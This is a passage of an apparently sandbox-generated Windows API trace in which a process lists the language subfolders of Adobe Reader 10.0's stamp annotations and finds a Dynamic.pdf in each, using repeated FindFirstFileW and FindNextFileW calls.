dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.889] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0148.889] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.890] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.890] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.890] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.890] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0148.890] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.892] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.892] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.892] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.893] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0148.893] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.894] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.894] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.894] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.894] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0148.894] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.895] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.895] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.896] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.896] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0148.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.897] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.897] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.897] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.897] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0148.897] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.898] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.898] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.899] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.899] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0148.899] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.901] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.901] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.901] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.902] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0148.902] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.903] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.903] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.903] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.903] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0148.903] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.905] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.905] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.906] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.906] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HUN", cAlternateFileName="")) returned 1 [0148.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.908] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.908] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.909] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.909] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0148.910] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.910] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 